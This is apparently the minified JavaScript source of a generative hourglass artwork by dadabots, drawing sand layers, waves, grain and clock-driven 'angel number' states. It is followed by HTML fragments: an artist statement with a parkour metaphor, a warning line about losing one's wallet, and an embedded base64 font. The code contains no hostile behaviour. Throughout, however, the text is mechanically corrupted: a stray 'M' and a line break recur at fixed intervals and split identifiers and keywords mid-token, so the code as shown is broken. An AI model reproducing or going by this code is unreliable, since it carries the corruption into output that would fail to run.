y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/html;charset=utf-8
by dadabots (cj carr)
published feb 14, 2023
This artpiece could cause you to lose everything in your wallet.
In parkour, there's a philosophical mindset one develops with onself, standing at the edge of a rooftop, contemplating the leap across the void, over the infinity of the bottomless pit, to the building across.
To stand at the precipise and contemplate the choice of annihilation, as in the absurdism of Albert Camus, is to come into yourM
 own power and free will. Realize you're always in the driver's seat of your own life.
<meta name="viewport" content="width=device-width, initial-scale=1.0">
  font-family: 'mono';
  font-style: normal;
  font-display: swap;
  src: url("data:application/x-font-woff;charset=utf-8;base64,d09GMgABAAAAAC6wAAwAAAAAZRQAAC5aAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHIsgBmAAgggRCAqBpUj/bwuEDAABNgIkA4QMBCAFgwwHiE4bXk9FRoaNAxAQy2OPombuUYkoKih9zf+XBE7G+NMdLCs0FLrxlERBFoonJWNxkHWCZcUuRkSnezM
PbfpdLpZ5q6EZ0f4VmmEV31Us7tLCCjPKMXY/Q0ke80H+/9tbnvpmPnLDKulWpyAVixwoVEFhCzQpREsEMz2+zN20UkOpPSpSYKCoIfCxUwAR7aeemu7NW6bZbn67ybhXuFq5a586LzZXLIigu3funT2kYCmkmGKtArSiGtIMGm9hRBbedLwBMSOMzWa5saiQQaKkuXTH53eN9W2uZHBSS7vi6WnEIzytUec/+2wKDLVtA6F/PNN9+xabQJosPNqHTd4CDKQ4L3S6TH5BoN4cz/ak2/Tetz8BtYWMCqZnN7DTZ/0sbfj6Vy4W9wjUqu05C4phUjXD9mu/V/gjT8QBs2dL4yhqT2K+DfEhBvEt4d18Bnu/XXm02NyfAOxEGUUgukVAVpn75fbplsqhY/X2l/WVZIzuRdTQ+KMuyukKysJ3/NUv7J9k9IC6xMASqtsJVyD///2Tm/5+9TP4sZfYgNzmcbO/NIs/eLh+lRAoAk5QweyVMFZICckz2XmVVvSRJIKQgYeM
rvh9r74OiyIfUwA+dZ7VV/Fne5pGJCiAzohAgg9fRPOa88ZKv7yJg2LAgHej8AAmKsCGXOo6dXFoPyTeXkIpB7zKsuBXhazu1HGCGgGg1IhgBvNiAOAkQgCHj4xElRkMd6xEiSH+mIkiA32WFEyHKJN7uLMJmfA0KkKS4nlpWAtbz8vz3YCrB8xLFsYjFYKLP3RMe5pqQSzBgBIJxIzOGS4RNilzzC3qi7K8RnwG0JY/kigtxkyEWruWiF5O2zWKog5pllR6vGnZyp8OEh12dueiLw8ASd29D75ASYiFBi0+Sljil4yAj0vTT6Jv7oY4EHS6fyZqpC+eysYkUJpSLGaelPVzXjR3yhkPf6SIOHjPCAYejQoK6VwpNB4hloBJDiocP74VQ/O5O3+n8OD3nAEHSoT0oOS1+Ewyd940IW6n8ajPCAIe5Dgwr5SUmu9XtwfOS1PNN/GQ95wBCd0KFCzhOP/9dT/7jvugtOOWSPLdZbYaEe7Ro9028+6fOk8EHfNbG+8lM
